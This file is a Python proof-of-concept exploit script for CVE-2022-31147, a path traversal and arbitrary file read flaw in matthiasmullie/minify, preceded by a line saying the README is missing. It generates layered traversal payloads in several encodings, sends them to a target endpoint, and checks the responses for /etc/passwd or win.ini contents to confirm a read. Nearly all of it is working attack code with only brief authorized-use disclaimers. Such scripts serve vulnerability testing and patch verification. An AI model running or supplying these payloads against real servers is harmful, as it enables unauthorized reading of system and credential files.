README.md
README.md not found for CVE-2022-31147. The file may not exist in the repository.
#!/usr/bin/env python3
"""
CVE-2022-31147 PoC — Path Traversal / Arbitrary File Read in matthiasmullie/minify
USAGE (authorized targets only):
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd
python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\\Windows\\win.ini
python3 cve-2022-31147_poc.py --base http://127.0.0.1:8080/cdn/minify --file /var/www/test.txt
Notes:
- Only use on systems you own or have explicit permission to test.
- If vulnerable, the endpoint may return the content of the target file with a 200 OK and text/plain or text/css.
"""
import argparse
import sys
import urllib.parse
import requests
from typing import List
def build_payloads(target_file: str, os_hint: str, max_depth: int = 12) -> List[str]:
"""
Build a set of traversal payloads trying different depths and encodings.
"""
ups = "../" if os_hint != "windows" else "..\\\\" # logical; server-side lib usually treats '/'
# Most PHP libs normalize '/' so we'll focus on forward slashes primarily.
base_trav = "../"
payloads = []
for depth in range(3, max_depth + 1):
prefix = base_trav * depth
p = f"{prefix}{target_file.lstrip('/')}"
# Raw
payloads.append(p)
# URL-encoded traversal
payloads.append(p.replace("../", "%2e%2e/"))
# Double-encoded traversal
payloads.append(p.replace("../", "%252e%252e/"))
# Mixed encodings
payloads.append(p.replace("../", "..%2f"))
# Some apps require a trailing fake extension to pass routing
with_ext = []
for p in payloads:
with_ext.append(p)
with_ext.append(f"{p}.css")
with_ext.append(f"{p}?v=1")
# Deduplicate preserving order
seen = set()
uniq = []
for p in with_ext:
if p not in seen:
seen.add(p)
uniq.append(p)
return uniq
def looks_like_success(content: bytes, os_hint: str) -> bool:
text = content.decode(errors="ignore")
if os_hint == "windows":
# win.ini often contains these markers
return ("[extensions]" in text.lower()) or ("fonts" in text.lower())
else:
# /etc/passwd markers
return ("root:x:" in text) or (":/bin/bash" in text) or ("daemon:x:" in text)
def main():
parser = argparse.ArgumentParser(description="CVE-2022-31147 PoC (AUTHORIZED TESTING ONLY)")
parser.add_argument("--base", required=True, help="Base minify endpoint, e.g., https://site.tld/cdn/minify")
parser.add_argument("--file", default="/etc/passwd", help="Target file path to attempt to read")
parser.add_argument("--windows", action="store_true", help="Hint: target is Windows (uses win.ini heuristic)")
parser.add_argument("--linux", action="store_true", help="Hint: target is Linux (uses /etc/passwd heuristic)")
parser.add_argument("--timeout", type=float, default=15.0, help="Request timeout in seconds")
parser.add_argument("--insecure", action="store_true", help="Allow insecure TLS (self-signed)")
args = parser.parse_args()
os_hint = "linux"
if args.windows and not args.linux:
os_hint = "windows"
base = args.base.rstrip("/")
payloads = build_payloads(args.file, os_hint=os_hint)
print(f"[i] Testing {len(payloads)} payloads against: {base}")
session = requests.Session()
session.headers.update({
"User-Agent": "CVE-2022-31147-POC/1.0 (+authorized testing only)"
})
found = False
for i, payload in enumerate(payloads, 1):
url = f"{base}/{payload}"
try:
resp = session.get(url, timeout=args.timeout, verify=not args.insecure, allow_redirects=True)
except requests.RequestException as e:
print(f"[{i:03d}] ERR {url} -> {e}")
continue
ctype = resp.headers.get("Content-Type", "")
print(f"[{i:03d}] {resp.status_code:3d} {ctype:25s} {url}")
if resp.status_code == 200 and looks_like_success(resp.content, os_hint=os_hint):
print("\n[+] POSSIBLE VULNERABILITY DETECTED!")
print(f"[+] URL: {url}")
print(f"[+] Content-Type: {ctype}")
print("[+] Snippet:\n")
sample = resp.content.decode(errors="ignore")[:500]
print(sample)
found = True
break
if not found:
print("\n[-] No obvious successful read detected with basic payloads.")
print(" The target may be patched, protected by routing/WAF, or require different depth/encoding.")
print(" Try --file with a known-accessible test file you created on the server.")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(1)